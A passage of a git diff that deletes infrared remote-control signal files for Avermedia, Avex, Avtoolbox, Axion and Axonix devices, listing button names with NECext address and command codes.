KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0E 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: CAPTURE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: LOOP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: RIGHTARROW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: AUTOSCAN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir deleted file mode 100644 index 41c496878..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0A 00 00 00 -# -name: MTS/STEREO -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0C 00 00 00 -# -name: PIP_CH -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0E 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 10 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 13 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 14 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 15 00 00 00 -# -name: PIC_MODE -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 18 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1B 00 00 00 -# -name: CH_RTN -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1C 00 00 00 -# -name: PIP_POS -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 40 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 41 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 42 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 43 00 00 00 -# -name: PC_BGM/RES -type: parsed -protocol: NECext -address: 00 ED 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir deleted file mode 100644 index 2a048c70b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: CH_RTN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: TIMESHIFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: SNAPSHOT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: WAKE_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 46 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 47 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 48 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 49 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_DOT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir deleted file mode 100644 index 5f2329ef5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: x_right -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: scan_left -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: scan_right -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir deleted file mode 100644 index f7fd1e8f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: switch_prgs -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: calibrate -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: otr-rec -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: fast -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: pic_rew -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: pic_ff -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir deleted file mode 100644 index 7f102d31e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir deleted file mode 100644 index 418e176c8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Display -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 07 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 08 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 10 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 12 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1D 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1F 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 44 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 48 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 49 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 50 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 51 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 54 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 55 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir deleted file mode 100644 index ba40de4c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir +++ /dev/null @@ -1,410 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: 0_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: 1_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: 2_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: 3_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: 4_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 45 00 00 00 -# -name: 5_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 46 00 00 00 -# -name: 6_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: 7_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: 8_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: 9_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 47 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4A 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: PAGE_+_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4C 00 00 00 -# -name: VOL_+_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4D 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4D 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: PAGE_-_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4E 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4F 00 00 00 -# -name: VOL_-_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 4F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_UP_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 51 00 00 00 -# -name: ENTER_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_DOWN_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 54 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 54 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 55 00 00 00 -# -name: EXIT_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 55 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: OPTIONS_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 -# -name: PLAY_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 57 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 57 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 58 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 58 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 59 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 59 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5A 00 00 00 -# -name: SKIP_<<_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5B 00 00 00 -# -name: SKIP_>>_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5B 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5C 00 00 00 -# -name: RECORD_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5D 00 00 00 -# -name: SCAN_<<_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5D 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5E 00 00 00 -# -name: SCAN_>>_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5E 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 60 00 00 00 -# -name: HOME_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 60 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 61 00 00 00 -# -name: MOVIES_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 61 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 62 00 00 00 -# -name: MUSIC_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 62 00 00 00 -# -name: PHOTOS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 63 00 00 00 -# -name: PHOTOS_B -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir deleted file mode 100644 index 37763d054..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 41 00 00 00 -# -name: 2/ABC -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 42 00 00 00 -# -name: 3/DEF -type: parsed 